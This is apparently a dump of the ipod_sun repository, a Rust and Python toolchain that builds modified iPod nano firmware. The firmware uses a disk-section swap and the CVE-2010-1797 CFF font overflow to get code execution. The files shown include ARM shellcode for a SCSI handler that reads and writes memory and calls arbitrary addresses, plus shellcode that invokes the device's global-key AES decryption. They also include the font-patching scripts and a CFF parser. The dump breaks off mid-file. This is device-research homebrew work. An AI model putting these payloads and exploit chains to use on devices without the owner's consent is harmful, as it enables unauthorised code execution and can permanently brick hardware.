├── .gitignore ├── Base.ttf ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md ├── build.rs ├── decrypt_shellcode ├── .cargo │ └── config.toml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── build.rs ├── shellcode.ld └── src │ └── main.rs ├── helpers ├── cff_to_otf.py ├── fat_patch.py └── viafont │ ├── original │ ├── Readme.txt │ ├── Viafont.otf │ └── Viafont.ttf │ └── viafont_converted.otf ├── parse ├── Cargo.toml └── src │ ├── lib.rs │ └── parse.rs ├── rust-toolchain.toml ├── scsi_shellcode ├── .cargo │ └── config.toml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── build.rs ├── shellcode.ld └── src │ └── main.rs ├── src ├── cff.rs ├── exploit.rs ├── img1.rs ├── main.rs ├── mse.rs └── payload │ ├── binary_search.rs │ ├── binary_search_n7g.rs │ ├── binary_search_n7g_2015.rs │ ├── code_exec.rs │ ├── exploit_config.rs │ ├── mod.rs │ ├── payload_builder.rs │ └── string_leak.rs └── tools ├── display_leaker ├── .gitignore ├── Cargo.lock ├── Cargo.toml └── src │ └── main.rs ├── research ├── README.md ├── cert_moduluses ├── diff_tool │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── gib_cert │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── m4a_patcher │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── src │ │ └── main.rs │ └── vendor │ │ ├── lazy_static │ │ ├── .cargo-checksum.json │ │ ├── Cargo.toml │ │ ├── LICENSE-APACHE │ │ ├── LICENSE-MIT │ │ ├── README.md │ │ ├── src │ │ │ ├── core_lazy.rs │ │ │ ├── inline_lazy.rs │ │ │ └── lib.rs │ │ └── tests │ │ │ ├── no_std.rs │ │ │ └── test.rs │ │ └── mp4ameta_proc │ │ ├── .cargo-checksum.json │ │ ├── Cargo.toml │ │ └── src │ │ └── lib.rs ├── m4a_payload │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── mp4_fuzzer │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── out │ │ ├── IMG_0437.DAT │ │ └── IMG_0437.mp4 │ └── src │ │ └── main.rs ├── n6g_dumper │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── osos_patcher │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── cfw.sh │ └── src │ │ └── main.rs ├── patch_payload │ ├── .cargo │ │ └── config.toml │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── shellcode.ld │ └── src │ │ └── main.rs ├── test_payload_in_osos │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── log.txt │ └── src │ │ └── main.rs └── wtf_efi_fuzzer │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ └── main.rs ├── scsi_decrypter ├── .gitignore ├── Cargo.lock ├── Cargo.toml └── src │ └── main.rs └── scsi_dumper ├── .gitignore ├── Cargo.lock ├── Cargo.toml └── src └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | .idea 3 | *.img1 4 | *.MSE 5 | .DS_Store 6 | build.sh 7 | *.bin -------------------------------------------------------------------------------- /Base.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CUB3D/ipod_sun/7746f7eef77c0ff39ca956e11fa58fa88ec1f4f6/Base.ttf -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ipod_sun" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | parse = { path = "./parse"} 10 | #keystone-engine = { version = "0.1.0", features = ["build-from-src"] } 11 | capstone = "0.11.0" 12 | anyhow = "1.0.75" 13 | tracing-subscriber = "0.3.18" 14 | tracing = "0.1.40" 15 | clap = { version = "4.4.11", features = ["derive"] } 16 | isahc = "1.7.2" 17 | zip = "0.6.6" -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ipod_sun 2 | Code execution on the iPod nano 6th and 7th generation 3 | 4 | ### How? 5 | This tool builds a modified firmware image that abuses two iPod bugs in order to gain code execution: 6 | 7 | #### 1) Disk swapping 8 | By swapping the 'disk' and 'osos' sections in a firmware image, the iPod will boot into the standard RetailOS when holding the buttons for disk mode. But, when booting into disk mode the iPod won't verify the 'rsrc' partition as disk mode usually doesn't use it. 9 | 10 | #### 2) CVE-2010-1797 (better known as star) 11 | By using a malformed OTF font, we can trigger a stack overflow in CFF parsing. See `src/exploit.rs` for details 12 | 13 | ### The result 14 | Custom SCSI command added that can read/write memory and execute arbitrary code. 15 | 16 | ## Dependencies 17 | For python3: 18 | ``` 19 | pyfatfs 20 | fonttools 21 | ``` 22 | Native: 23 | ``` 24 | arm-none-eabi-gcc 25 | ``` 26 | 27 | ## Supported devices: 28 | - iPod Nano 6th Generation 29 | - iPod Nano 7th Generation (Mid 2015) 30 | 31 | 32 | # WARNING! 33 | Some devices are not able to boot into DFU, this may be caused by a non-functional battery. 34 | 35 | Bad payloads, incorrectly packed firmware and many other causes CAN and HAVE caused permanent bricks. 36 | 37 | ## Usage 38 | ```shell 39 | # Build the patched firmware 40 | cargo r --release -- --device=nano7-refresh 41 | 42 | # Flash Firmware-repack.MSE over DFU 43 | ``` 44 | 45 | ## Dumping bootroms 46 | ```shell 47 | # Enable the VROM clock gates 48 | sudo sg_raw -o /dev/null -r 512 -vvv /dev/sdc c6 96 04 00 00 00 00 49 | 50 | # Dump the rom 51 | cd tools/scsi_dumper 52 | cargo r --release -- 0x20000000 0x10000 n7g_bootrom.bin 53 | ``` 54 | 55 | ## Decrypting firmware 56 | See `tools/scsi_decrypter` 57 | 58 | # Attribution 59 | Base.ttf is one of the payloads from [star](https://github.com/comex/star), used as a CFF template 60 | 61 | helpers/viafont/original sourced from [here](http://www.publicdomainfiles.com/show_file.php?id=13949894425072) 62 | 63 | 64 | # Thanks 65 | q3k for the SCSI handler example and for [wInd3x](https://github.com/freemyipod/wInd3x) 66 | 67 | 760ceb3b9c0ba4872cadf3ce35a7a494 for [ipodhax](https://github.com/760ceb3b9c0ba4872cadf3ce35a7a494/ipodhax) which inspired a lot of the firmware un/packing code 68 | 69 | 70 | -------------------------------------------------------------------------------- /build.rs: -------------------------------------------------------------------------------- 1 | use std::process::Command; 2 | 3 | fn main() { 4 | println!("cargo:rerun-if-changed=decrypt_shellcode/"); 5 | println!("cargo:rerun-if-changed=scsi_shellcode/"); 6 | 7 | Command::new("cargo") 8 | .arg("build") 9 | .arg("--release") 10 | .arg("--target") 11 | .arg("thumbv6m-none-eabi") 12 | .current_dir("./decrypt_shellcode/") 13 | .status() 14 | .unwrap(); 15 | 16 | Command::new("arm-none-eabi-objcopy") 17 | .arg("-O") 18 | .arg("binary") 19 | .arg("target/thumbv6m-none-eabi/release/scsi_shellcode") 20 | .arg("scsi-stub.bin") 21 | .current_dir("./decrypt_shellcode/") 22 | .status() 23 | .unwrap(); 24 | 25 | Command::new("cargo") 26 | .arg("build") 27 | .arg("--release") 28 | .arg("--target") 29 | .arg("thumbv6m-none-eabi") 30 | .current_dir("./scsi_shellcode/") 31 | .status() 32 | .unwrap(); 33 | 34 | Command::new("arm-none-eabi-objcopy") 35 | .arg("-O") 36 | .arg("binary") 37 | .arg("target/thumbv6m-none-eabi/release/scsi_shellcode") 38 | .arg("scsi-stub.bin") 39 | .current_dir("./scsi_shellcode/") 40 | .status() 41 | .unwrap(); 42 | } -------------------------------------------------------------------------------- /decrypt_shellcode/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "thumbv6m-none-eabi" 3 | 4 | [target.thumbv6m-none-eabi] 5 | linker = "arm-none-eabi-gcc" 6 | ar = "arm-none-eabi-ar" -------------------------------------------------------------------------------- /decrypt_shellcode/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | *.bin -------------------------------------------------------------------------------- /decrypt_shellcode/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "scsi_shellcode" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /decrypt_shellcode/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "scsi_shellcode" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | 10 | [profile.dev] 11 | panic = "abort" 12 | 13 | [profile.release] 14 | panic = "abort" 15 | # these two cut code size by 2/3 16 | opt-level = "z" 17 | lto = true -------------------------------------------------------------------------------- /decrypt_shellcode/build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | // Required because .cargo/config.toml is ignored when building a project from main build.rs 3 | println!("cargo:rustc-link-arg=-nostdlib"); 4 | println!("cargo:rustc-link-arg=-static"); 5 | println!("cargo:rustc-link-arg=-Wl,-Tshellcode.ld"); 6 | } -------------------------------------------------------------------------------- /decrypt_shellcode/shellcode.ld: -------------------------------------------------------------------------------- 1 | ENTRY(_start); 2 | 3 | SECTIONS 4 | { 5 | . = ALIGN(16); 6 | .text : 7 | { 8 | *(.text.prologue) 9 | *(.text) 10 | *(.rodata) 11 | } 12 | .data : 13 | { 14 | *(.data) 15 | } 16 | 17 | /DISCARD/ : 18 | { 19 | *(.interp) 20 | *(.comment) 21 | *(.debug_frame) 22 | } 23 | } -------------------------------------------------------------------------------- /decrypt_shellcode/src/main.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | #![no_main] 3 | 4 | #[panic_handler] 5 | fn panic(_: &core::panic::PanicInfo) -> ! { 6 | loop {} 7 | } 8 | 9 | /// Entrypoint (n6g), load this @ 0x083798b4, call as 0x083798b5 10 | /// Entrypoint (n7), load this @ 0x0849696c, call as 0x0849696d 11 | #[no_mangle] 12 | #[link_section = ".text.prologue"] 13 | #[export_name = "_start"] 14 | pub extern "C" fn custom_handler() { 15 | // This is some random h264 code, we don't need it :3 (n6g) 16 | let input = 0x082c4754 as *mut u8; 17 | // n7g 18 | let input = 0x08492a50 as *mut u8; 19 | 20 | // n6g 21 | let aes_func = unsafe { core::mem::transmute::(0x0822215c | 1) }; 22 | // n7g 23 | let aes_func = unsafe { core::mem::transmute::(0x0841140c | 1) }; 24 | 25 | aes_func( 26 | 0, /* Decrypt*/ 27 | 1, /* global key */ 28 | core::ptr::null_mut(), /* no IV */ 29 | input, /* In-place decrypt */ 30 | input, 31 | 512, /* Size*/ 32 | 0 /* flags? */ 33 | ); 34 | } 35 | -------------------------------------------------------------------------------- /helpers/cff_to_otf.py: -------------------------------------------------------------------------------- 1 | # There's no good font library for Rust, someone please make one 2 | 3 | from fontTools import ttLib 4 | from fontTools import cffLib 5 | import base64 6 | import sys 7 | import io 8 | 9 | with open("./in-cff.bin", "rb") as input_font: 10 | x = cffLib.CFFFontSet() 11 | x.decompile(input_font, None, isCFF2=False) 12 | 13 | tt = ttLib.TTFont("./helpers/viafont/viafont_converted.otf") 14 | 15 | x[0].charset = tt["CFF "].cff[0].charset 16 | 17 | tt_cff = tt["CFF "].cff[0] 18 | tt_cff_cs = tt_cff.CharStrings["space"] 19 | 20 | x_cs_glyphs = x[0].getGlyphOrder() 21 | x_cs_bc = x[0].CharStrings["space"] 22 | 23 | tt_cff.CharStrings["space"] = x[0].CharStrings["space"] 24 | tt_cff.CharStrings["space"].calcBounds = lambda x: None 25 | 26 | with open("./out-otf.bin", "wb") as out_file: 27 | tt.save(out_file, False) 28 | -------------------------------------------------------------------------------- /helpers/fat_patch.py: -------------------------------------------------------------------------------- 1 | import fs 2 | from pyfatfs import PyFatFS 3 | from fontTools import ttLib, subset 4 | import base64 5 | import io 6 | import sys 7 | 8 | fat = PyFatFS.PyFatFS("./rsrc.bin", read_only=False) 9 | 10 | FONT_BASE = "/Resources/Fonts/Helvetica.ttf" 11 | 12 | # Read the file, get its name 13 | b = fat.openbin(FONT_BASE, mode="rb") 14 | original_font = ttLib.TTFont(b) 15 | original_font_name_table = original_font["name"] 16 | b.close() 17 | 18 | # Remove the old font 19 | fat.remove(FONT_BASE) 20 | 21 | # Open the file to write our font 22 | b = fat.openbin(FONT_BASE, mode="wb") 23 | 24 | with open("./in-otf.bin", "rb") as f: 25 | fake_font = ttLib.TTFont(f) 26 | fake_font["name"] = original_font_name_table 27 | fake_font["CFF "].cff[0].CharStrings["space"].calcBounds = lambda x: None 28 | 29 | fake_font.save(b) 30 | 31 | b.close() 32 | 33 | fat.close() 34 | -------------------------------------------------------------------------------- /helpers/viafont/original/Readme.txt: -------------------------------------------------------------------------------- 1 | Viafont Font 2 | 3 | The Viafont font is a geometric, sans-serif font that resembles the Viacom logo. I designed this font in FontLab Studio. It includes alphanumeric characters, punctuation and international characters. Like all other fonts that I made, this font has a Euro sign and is Public Domain. Please read the terms of use at http://jlhfonts.blogspot.com/. -------------------------------------------------------------------------------- /helpers/viafont/original/Viafont.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CUB3D/ipod_sun/7746f7eef77c0ff39ca956e11fa58fa88ec1f4f6/helpers/viafont/original/Viafont.otf -------------------------------------------------------------------------------- /helpers/viafont/original/Viafont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CUB3D/ipod_sun/7746f7eef77c0ff39ca956e11fa58fa88ec1f4f6/helpers/viafont/original/Viafont.ttf -------------------------------------------------------------------------------- /helpers/viafont/viafont_converted.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CUB3D/ipod_sun/7746f7eef77c0ff39ca956e11fa58fa88ec1f4f6/helpers/viafont/viafont_converted.otf -------------------------------------------------------------------------------- /parse/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "parse" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /parse/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | 3 | pub mod parse; 4 | pub use parse::*; -------------------------------------------------------------------------------- /parse/src/parse.rs: -------------------------------------------------------------------------------- 1 | use core::convert::TryInto; 2 | 3 | pub fn le_u32(i: &[u8]) -> (&[u8], u32) { 4 | (&i[4..], u32::from_le_bytes((&i[..4]).try_into().unwrap())) 5 | } 6 | 7 | pub fn be_u32(i: &[u8]) -> (&[u8], u32) { 8 | (&i[4..], u32::from_be_bytes((&i[..4]).try_into().unwrap())) 9 | } 10 | 11 | pub fn le_u16(i: &[u8]) -> (&[u8], u16) { 12 | (&i[2..], u16::from_le_bytes((&i[..2]).try_into().unwrap())) 13 | } 14 | 15 | pub fn be_u16(i: &[u8]) -> (&[u8], u16) { 16 | (&i[2..], u16::from_be_bytes((&i[..2]).try_into().unwrap())) 17 | } 18 | 19 | pub fn ne_u8(i: &[u8]) -> (&[u8], u8) { 20 | (&i[1..], i[0]) 21 | } 22 | 23 | pub fn take_n(i: &[u8], count: usize) -> (&[u8], &[u8]) { 24 | (&i[count..], &i[..count]) 25 | } 26 | 27 | pub fn take(b: &[u8]) -> (&[u8], [u8;COUNT]) { 28 | (&b[COUNT..], b[..COUNT].try_into().unwrap()) 29 | } 30 | 31 | pub trait ParseBytes<'a> { 32 | fn parse(i: &'a [u8]) -> Result<(&'a [u8], Self), ()> where Self: Sized; 33 | } 34 | 35 | pub struct SliceWriter<'a>(&'a mut [u8], usize); 36 | 37 | impl<'a> SliceWriter<'a> { 38 | pub fn new_from(data: &'a mut [u8]) -> SliceWriter<'a> { 39 | Self(data, 0) 40 | } 41 | 42 | pub fn len_written(&self) -> usize { self.1} 43 | 44 | pub fn as_slice_mut(&mut self) -> &mut[u8] { 45 | self.0 46 | } 47 | 48 | pub fn as_slice(&self) -> &[u8] { 49 | &self.0[..self.1] 50 | } 51 | 52 | pub fn put(&mut self, data: &[u8]) { 53 | (&mut self.0[self.1..self.1+data.len()]).copy_from_slice(data); 54 | self.1 += data.len(); 55 | } 56 | 57 | pub fn le_u16(&mut self, v: u16) { 58 | self.put(&v.to_le_bytes()); 59 | } 60 | 61 | pub fn be_u16(&mut self, v: u16) { 62 | self.put(&v.to_be_bytes()); 63 | } 64 | 65 | pub fn be_u32(&mut self, v: u32) { 66 | self.put(&v.to_be_bytes()); 67 | } 68 | 69 | pub fn ne_u8(&mut self, v: u8) { 70 | self.put(&v.to_le_bytes()); 71 | } 72 | } 73 | 74 | pub trait GenerateBytes { 75 | fn generate<'a, 'b>(&'b self, i: &'b mut SliceWriter<'a>); 76 | 77 | /// How much data will be produced? 78 | fn generated_size(&self) -> usize; 79 | } 80 | -------------------------------------------------------------------------------- /rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | channel = "nightly-2023-12-20" 3 | targets = ["thumbv6m-none-eabi", "aarch64-apple-darwin"] 4 | profile = "minimal" 5 | components = ["rustfmt", "rust-src", "clippy"] -------------------------------------------------------------------------------- /scsi_shellcode/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "thumbv6m-none-eabi" 3 | 4 | [target.thumbv6m-none-eabi] 5 | linker = "arm-none-eabi-gcc" 6 | ar = "arm-none-eabi-ar" -------------------------------------------------------------------------------- /scsi_shellcode/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | *.bin -------------------------------------------------------------------------------- /scsi_shellcode/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "scsi_shellcode" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /scsi_shellcode/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "scsi_shellcode" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | 10 | [profile.dev] 11 | panic = "abort" 12 | 13 | [profile.release] 14 | panic = "abort" 15 | # these two cut code size by 2/3 16 | opt-level = "z" 17 | lto = true -------------------------------------------------------------------------------- /scsi_shellcode/build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | // Required because .cargo/config.toml is ignored when building a project from main build.rs 3 | println!("cargo:rustc-link-arg=-nostdlib"); 4 | println!("cargo:rustc-link-arg=-static"); 5 | println!("cargo:rustc-link-arg=-Wl,-Tshellcode.ld"); 6 | } -------------------------------------------------------------------------------- /scsi_shellcode/shellcode.ld: -------------------------------------------------------------------------------- 1 | ENTRY(_start); 2 | 3 | SECTIONS 4 | { 5 | . = ALIGN(16); 6 | .text : 7 | { 8 | *(.text.prologue) 9 | *(.text) 10 | *(.rodata) 11 | } 12 | .data : 13 | { 14 | *(.data) 15 | } 16 | 17 | /DISCARD/ : 18 | { 19 | *(.interp) 20 | *(.comment) 21 | *(.debug_frame) 22 | } 23 | } -------------------------------------------------------------------------------- /scsi_shellcode/src/main.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | #![no_main] 3 | 4 | #[panic_handler] 5 | fn panic(_: &core::panic::PanicInfo) -> ! { 6 | loop {} 7 | } 8 | 9 | 10 | #[repr(C)] 11 | pub struct ScsiResponse { 12 | a: u8, 13 | b: u8, 14 | ascq: u16, 15 | } 16 | 17 | #[repr(C)] 18 | pub struct ScsiPacket { 19 | vtbl: *mut ScsiPacketVtable 20 | } 21 | 22 | #[repr(C)] 23 | pub struct ScsiPacketVtable { 24 | unk1: u32, 25 | unk2: u32, 26 | get_buffer: extern "C" fn(*mut ScsiPacket) -> *mut u8, 27 | receive: extern "C" fn(*mut ScsiPacket, u32, *mut *mut u8), 28 | send: extern "C" fn (*mut ScsiPacket, u32, *mut u8) -> u32, 29 | } 30 | 31 | #[repr(C)] 32 | pub struct ScsiBuffer { 33 | buf: *mut u8, 34 | size: u32, 35 | } 36 | 37 | #[no_mangle] 38 | #[link_section = ".text.prologue"] 39 | #[export_name = "_start"] 40 | pub extern "C" fn custom_handler(resp: *mut ScsiResponse, _lun: *mut u32, pkt: *mut ScsiPacket) { 41 | unsafe { 42 | (*resp).a = 0; 43 | (*resp).b = 0; 44 | (*resp).ascq = 0; 45 | } 46 | 47 | let in_buf = unsafe { ((*(*pkt).vtbl).get_buffer)(pkt) }; 48 | 49 | let tgt_addr = u32::from_be_bytes([ 50 | unsafe { in_buf.add(3).read_unaligned() }, 51 | unsafe { in_buf.add(4).read_unaligned() }, 52 | unsafe { in_buf.add(5).read_unaligned() }, 53 | unsafe { in_buf.add(6).read_unaligned() }, 54 | ]); 55 | 56 | const SIZE: u32 = 0x200; 57 | 58 | match unsafe { in_buf.add(2).read_unaligned() } { 59 | // Write to `tgt_addr` 60 | 1 => { 61 | let mut ptr = tgt_addr as *mut u8; 62 | unsafe { ((*(*pkt).vtbl).receive)(pkt, SIZE, &mut ptr as *mut *mut u8) }; 63 | } 64 | // Read `SIZE` from `tgt_addr` 65 | 2 => { 66 | let mut buf = ScsiBuffer { 67 | buf: tgt_addr as *mut u8, 68 | size: SIZE, 69 | }; 70 | unsafe { ((*(*pkt).vtbl).send)(pkt, SIZE, &mut buf as *mut ScsiBuffer as *mut u8) }; 71 | } 72 | // Call `tgt` as a function 73 | 3 => { 74 | let f = unsafe { core::mem::transmute::(tgt_addr)}; 75 | f(); 76 | } 77 | // Enable VROM access 78 | 4 => { 79 | unsafe { (0x3C500048 as *mut u32).write_volatile(0); } 80 | } 81 | _ => unsafe { 82 | (*resp).a = 0x70; 83 | (*resp).ascq = 0x2137; 84 | } 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/cff.rs: -------------------------------------------------------------------------------- 1 | use parse::{be_u16, be_u32, ne_u8, take_n, ParseBytes}; 2 | 3 | #[derive(Debug, Clone, Eq, PartialEq)] 4 | pub struct CffHead { 5 | major: u8, 6 | minor: u8, 7 | offset_size: u8, 8 | } 9 | 10 | impl CffHead { 11 | fn write(&self, out: &mut Vec) { 12 | out.push(self.major); // major 13 | out.push(self.minor); // minor 14 | out.push(4); // head size 15 | out.push(self.offset_size); // offsize 16 | } 17 | } 18 | 19 | impl<'a> ParseBytes<'a> for CffHead { 20 | fn parse(i: &'a [u8]) -> Result<(&'a [u8], Self), ()> { 21 | let (i, major) = ne_u8(i); 22 | let (i, minor) = ne_u8(i); 23 | let (i, head_size) = ne_u8(i); 24 | let (i, offset_size) = ne_u8(i); 25 | assert_eq!(head_size, 4); 26 | 27 | Ok(( 28 | i, 29 | Self { 30 | minor, 31 | major, 32 | offset_size, 33 | }, 34 | )) 35 | } 36 | } 37 | 38 | #[derive(Debug, Clone, Eq, PartialEq)] 39 | pub struct CffIndex { 40 | off_size: u8, 41 | pub data: Vec>, 42 | } 43 | 44 | impl CffIndex { 45 | fn write(&self, i: &mut Vec) { 46 | i.extend_from_slice((self.data.len() as u16).to_be_bytes().as_slice()); 47 | 48 | if self.data.is_empty() { 49 | return; 50 | } 51 | 52 | i.push(self.off_size); 53 | 54 | let mut c: u32 = 1; 55 | 56 | for ii in 0..self.data.len() { 57 | match self.off_size { 58 | 4 => { 59 | i.extend_from_slice(c.to_be_bytes().as_slice()); 60 | } 61 | 1 => { 62 | i.push(c as u8); 63 | } 64 | _ => panic!(), 65 | } 66 | 67 | c += self.data[ii].len() as u32; 68 | } 69 | // Last one is to be able to compute length of last one on read 70 | match self.off_size { 71 | 4 => { 72 | i.extend_from_slice(c.to_be_bytes().as_slice()); 73 | } 74 | 1 => { 75 | i.push(c as u8); 76 | } 77 | _ => panic!(), 78 | } 79 | 80 | for dat in &self.data { 81 | i.extend_from_slice(dat); 82 | } 83 | } 84 | } 85 | 86 | impl<'a> ParseBytes<'a> for CffIndex { 87 | fn parse(i: &'a [u8]) -> Result<(&'a [u8], Self), ()> { 88 | let (i, count) = be_u16(i); 89 | if count == 0 { 90 | return Ok(( 91 | i, 92 | Self { 93 | data: Vec::new(), 94 | off_size: 0, 95 | }, 96 | )); 97 | } 98 | let (i, off_size) = ne_u8(i); 99 | //println!("off sz = {off_size}"); 100 | 101 | let mut offsets = Vec::new(); 102 | let mut i = i; 103 | for _ in 0..count + 1 { 104 | let (j, v) = match off_size { 105 | 1 => { 106 | let (j, v) = ne_u8(i); 107 | (j, v as u64) 108 | } 109 | 2 => { 110 | let (j, v) = be_u16(i); 111 | (j, v as u64) 112 | } 113 | 4 => { 114 | let (j, v) = be_u32(i); 115 | (j, v as u64) 116 | } 117 | _ => panic!(), 118 | }; 119 | offsets.push(v); 120 | i = j; 121 | } 122 | 123 | let mut data = Vec::new(); 124 | for idx in 0..count as usize { 125 | let len = offsets[idx + 1] - offsets[idx]; 126 | let _start = offsets[idx] - 1; 127 | let (j, dat) = take_n(i, len as usize); 128 | data.push(dat.to_vec()); 129 | i = j; 130 | } 131 | 132 | Ok((i, Self { data, off_size })) 133 | } 134 | } 135 | 136 | #[derive(Debug, Clone, Eq, PartialEq)] 137 | pub struct CffFile { 138 | pub hed: CffHead, 139 | pub name_idx: CffIndex, 140 | pub font_dict_idx: CffIndex, 141 | pub string_idx: CffIndex, 142 | pub global_subrs_idx: CffIndex, 143 | pub charstrings_idx: CffIndex, 144 | } 145 | impl CffFile { 146 | pub fn write(&self, i: &mut Vec) { 147 | self.hed.write(i); 148 | self.name_idx.write(i); 149 | self.font_dict_idx.write(i); 150 | self.string_idx.write(i); 151 | self.global_subrs_idx.write(i); 152 | self.charstrings_idx.write(i); 153 | } 154 | } 155 | impl<'a> ParseBytes<'a> for CffFile { 156 | fn parse(i: &'a [u8]) -> Result<(&'a [u8], Self), ()> { 157 | let (i, hed) = CffHead::parse(i)?; 158 | let (i, name_idx) = CffIndex::parse(i)?; 159 | let (i, font_dict_idx) = CffIndex::parse(i)?; 160 | let (i, string_idx) = CffIndex::parse(i)?; 161 | let (i, global_subrs_idx) = CffIndex::parse(i)?; 162 | let (i, charstrings_idx) = CffIndex::parse(i)?; 163 | 164 | Ok(( 165 | i, 166 | Self { 167 | hed, 168 | name_idx, 169 | font_dict_idx, 170 | string_idx, 171 | global_subrs_idx, 172 | charstrings_idx, 173 | }, 174 | )) 175 | } 176 | } 177 | 178 | #[derive(Debug, Copy, Clone)] 179 | pub enum Type1CharStringOp { 180 | EndChar, 181 | Random, 182 | Or, 183 | Index, 184 | Drop, 185 | Push(u32), 186 | Dup, 187 | Get, 188 | Exch, 189 | Eq, 190 | Sub, 191 | Put, 192 | } 193 | 194 | impl Type1CharStringOp { 195 | fn write(&self, i: &mut Vec) { 196 | match self { 197 | Type1CharStringOp::EndChar => { 198 | i.push(14u8); 199 | } 200 | Type1CharStringOp::Dup => { 201 | i.push(12u8); 202 | i.push(27u8); 203 | } 204 | Type1CharStringOp::Random => { 205 | i.push(12u8); 206 | i.push(23u8); 207 | } 208 | Type1CharStringOp::Push(x) => { 209 | let x = *x; 210 | 211 | i.push(0xFFu8); 212 | i.extend_from_slice(x.to_be_bytes().as_slice()); 213 | } 214 | Type1CharStringOp::Or => { 215 | i.push(12u8); 216 | i.push(4u8); 217 | } 218 | Type1CharStringOp::Index => { 219 | i.push(12u8); 220 | i.push(29u8); 221 | } 222 | Type1CharStringOp::Get => { 223 | i.push(12u8); 224 | i.push(21u8); 225 | } 226 | Type1CharStringOp::Exch => { 227 | i.push(12u8); 228 | i.push(28u8); 229 | } 230 | Type1CharStringOp::Drop => { 231 | i.push(12u8); 232 | i.push(18u8); 233 | } 234 | Type1CharStringOp::Eq => { 235 | i.push(12u8); 236 | i.push(15u8); 237 | } 238 | Type1CharStringOp::Sub => { 239 | i.push(12u8); 240 | i.push(11u8); 241 | } 242 | Type1CharStringOp::Put => { 243 | i.push(12u8); 244 | i.push(20u8); 245 | } // _ => panic!(), 246 | } 247 | } 248 | } 249 | 250 | #[derive(Debug)] 251 | pub struct Type1CharString { 252 | pub ops: Vec, 253 | } 254 | 255 | impl Type1CharString { 256 | pub fn write(&self, i: &mut Vec) { 257 | for op in &self.ops { 258 | op.write(i); 259 | } 260 | } 261 | } 262 | 263 | impl<'a> ParseBytes<'a> for Type1CharString { 264 | fn parse(i: &'a [u8]) -> Result<(&'a [u8], Self), ()> 265 | where 266 | Self: Sized, 267 | { 268 | let mut ops = Vec::new(); 269 | 270 | let mut i = i; 271 | loop { 272 | let (j, op) = ne_u8(i); 273 | i = j; 274 | //println!("op = {op}"); 275 | 276 | let val; 277 | 278 | if op >= 32 || op == 28 { 279 | if op == 28 { 280 | panic!() 281 | } else if op < 247 { 282 | panic!() 283 | } else if op < 251 { 284 | panic!() 285 | } else if op < 255 { 286 | let (j, v) = ne_u8(i); 287 | i = j; 288 | 289 | val = 0 - (op as u32 - 251) * 256 - v as u32 - 108; 290 | } else { 291 | let (j, v) = be_u32(i); 292 | i = j; 293 | 294 | val = v; 295 | } 296 | 297 | ops.push(Type1CharStringOp::Push(val)); 298 | 299 | continue; 300 | } 301 | 302 | let op = match op { 303 | 14 => Type1CharStringOp::EndChar, 304 | 12 => { 305 | let (j, op2) = ne_u8(i); 306 | i = j; 307 | //println!("op2 = {op2}"); 308 | 309 | match op2 { 310 | 4 => Type1CharStringOp::Or, 311 | 18 => Type1CharStringOp::Drop, 312 | 29 => Type1CharStringOp::Index, 313 | // Inaccurate TODO? 314 | 23 => Type1CharStringOp::Random, 315 | _ => unimplemented!(), 316 | } 317 | } 318 | _ => unimplemented!(), 319 | }; 320 | //println!("op = {op:?}"); 321 | ops.push(op); 322 | 